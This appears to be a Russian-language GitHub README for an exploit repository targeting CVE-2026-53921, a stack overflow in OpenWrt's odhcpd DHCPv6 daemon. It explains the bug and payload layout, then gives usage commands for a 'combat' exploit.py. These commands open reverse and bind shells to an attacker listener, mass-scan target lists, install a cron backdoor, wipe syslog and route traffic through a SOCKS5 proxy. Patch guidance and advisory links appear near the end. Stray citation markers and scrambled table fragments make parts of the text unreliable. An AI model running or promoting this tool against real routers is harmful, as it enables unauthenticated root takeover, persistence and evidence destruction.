
CVE-2026-53921 – переполнение стека odhcpd (CVSS 9.8) 🛡️ Подробный и всесторонний разбор уязвимости, верификатор и мультиэксплойт для RCE через DHCPv6 в OpenWrt. Двухвекторное (IA_NA/IA_PD) переполнение с shellcode для MIPS/ARM, ROP-цепочки, SOCKS5-прокси, персистентность, затирание логов и массовое сканирование. Используйте этично, оставайтесь в рамках закона. 🔒

⚠️ Только для образовательных целей и авторизованного тестирования. Несанкционированное использование незаконно.
CVE-2026-53921 — это критическое переполнение буфера стека в демоне odhcpd проекта OpenWrt — стандартном сервере DHCPv6/DHCPv4/RA.
Уязвимость существует в коде обработки сообщений DHCPv6 демона odhcpd,
а именно в функциях build_ia() и dhcpv6_ia_handle_IAs().
Ошибка возникает во время сериализации (упаковки) ответных пакетов DHCPv6.
Когда odhcpd отвечает на запросы клиентов, он формирует ответ в стековом
буфере фиксированного размера 512 байт без надлежащей проверки границ.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Злоумышленник отправляет DHCPv6 Request (или Solicit) со следующими параметрами:
Каждая опция потребляет место в стеке при формировании ответа odhcpd.
Накопленные данные превышают 512 байт, что вызывает переполнение.
Вектор Триггер Точка переполнения
Вектор 1 5 опций IA_NA build_ia() для IA_NA
с IPv6-адресами
build_ia() для IA_PDКорневая причина идентична, но переполнение возникает в разных участках кода, поэтому оба вектора одинаково эксплуатируемы.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
Злоумышленник перезаписывает сохранённый адрес возврата, чтобы он указывал на его шеллкод в памяти.
Требование Описание
Сетевой доступ Злоумышленник должен иметь IPv6-связность с целью
Аутентификация Не требуется — атака без аутентификации
Привилегии odhcpd работает от root, поэтому RCE
даёт полный контроль над системой
В реальном эксплойте шеллкод злоумышленника размещается в полях IPv6-адреса IAAddress (16 байт на каждую IA_NA). Сформированные пакеты упаковывают шеллкод, NOP-слайд и адрес возврата в эти поля.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Версия Статус Возможен ли RCE?
odhcpd < e432dd6 Уязвим ✅ Да OpenWrt < 24.10.8 Уязвим ✅ Да OpenWrt < 25.12.5 Уязвим ✅ Да OpenWrt 24.10.8+ Исправлено ❌ Нет OpenWrt 25.12.5+ Исправлено ❌ Нет odhcpd master + e432dd6 Исправлено ❌ Нет
Эта уязвимость особенно опасна, потому что:
odhcpd включён по умолчанию в установках OpenWrt.| Компонент | Уязвимые версии | Исправлено в |
|---|---|---|
odhcpd (ветка master) | до коммита e432dd6 | e432dd6 или новее |
| Релизы OpenWrt | < 24.10.8 < 25.12.5 |
Этот репозиторий содержит два независимых скрипта:
| Скрипт | Назначение | Эксплойт-код | Безопасность |
|---|---|---|---|
verifier.py | Неинвазивная проверка уязвимости | ❌ Нет | ✅ Безопасно |
exploit.py | Полноценный боевой эксплойт |
verifier.py — Проверка уязвимостиexploit.py — Полный эксплойтIA_NA (Site1) и IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Аргумент | Описание |
|---|---|
-u, --target | IPv6-адрес цели (обязательно) |
-i, --iface | Сетевой интерфейс (по умолчанию: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
Обновите OpenWrt до 24.10.8 или 25.12.5 или новее.
opkg update
opkg upgrade odhcpd
Рекомендации по безопасности OpenWrt (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Подробные рекомендации, охватывающие оба вектора переполнения в odhcpd.
Запись CVE-2026-53921 в NVD https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Официальная запись в базе уязвимостей NIST.
Примечания к выпуску OpenWrt 24.10.8 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Официальное объявление о выпуске ветки 24.10.
Примечания к выпуску OpenWrt 25.12.5 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Официальное объявление о выпуске ветки 25.12.
Выпуски 24.10.8 и 25.12.5 устраняют несколько уязвимостей odhcpd помимо CVE-2026-53921 [citation:9]:
Анализ The Hacker News https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Подробный технический разбор уязвимости и векторов эксплуатации. [citation:1]
PoC-репозиторий на GitHub https://github.com/0xBlackash/CVE-2026-53921 Публичные proof-of-concept реализации и технические детали. [citation:3]
Версия 25.12.5 также устраняет уязвимости в других ключевых компонентах [citation:10]:
Выбор прошивки OpenWrt https://firmware-selector.openwrt.org/ Скачайте исправленные образы прошивки для вашего устройства.
Каталог известных эксплуатируемых уязвимостей CISA https://www.cisa.gov/known-exploited-vulnerabilities-catalog Проверьте, добавлен ли CVE-2026-53921 в KEV (по состоянию на 27 июля 2026 года не указан). [citation:1]
| 24.10.8 и 25.12.5 |
| ✅ Да |
| ⚠️ Опасно |
| Аргумент | Описание |
|---|
-u, --target | IPv6-адрес цели |
-l, --list | Файл со списком целей |
-i, --iface | Сетевой интерфейс (по умолчанию: eth0) |
--lhost | IP слушателя (обязательно) |
--lport | Порт слушателя (по умолчанию: 4444) |
--vector | site1, site2 или both (по умолчанию: both) |
--offset | Смещение в стеке (по умолчанию: 512) |
--ret | Адрес возврата в hex (например, 0x7ffff000) |
--arch | Принудительно mips или arm (автоопределение, если не указано) |
--payload | reverse или bind (по умолчанию: reverse) |
--encode | none или xor (по умолчанию: none) |
--proxy-host | IP SOCKS5-прокси |
--proxy-port | Порт SOCKS5-прокси (по умолчанию: 1080) |
--persistence | Установить бэкдор через cron |
--clear-logs | Очистить syslog после эксплуатации |
--scan-only | Только сканировать цели, не эксплуатировать |
--threads | Количество потоков для сканирования (по умолчанию: 5) |
--verbose | Подробное логирование |
| CVE ID | Серьёзность | Описание |
|---|
| CVE-2026-53918 | Высокая | Использование после освобождения (use-after-free) в обработчике DHCPv6 IA [citation:4][citation:9] |
| CVE-2026-53920 | Высокая | Раскрытие памяти стека через усечённую опцию DHCPv6 IA_NA/IA_PD [citation:9] |
| CVE-2026-53922 | Умеренная | Отказ в обслуживании до аутентификации из-за переполнения size_t (underflow) [citation:9] |
| CVE-2026-55606 | Умеренная | Чтение за пределами стекового буфера из-за несоответствия порядка байтов в длине DUID [citation:9] |
| CVE-2026-62948 | - | Внедрение имени хоста в DHCPv6, приводящее к сохранённому XSS [citation:1] |
| CVE-2026-62947 | - | Аутентифицированный обход пути (path traversal) в cgi-io [citation:1] |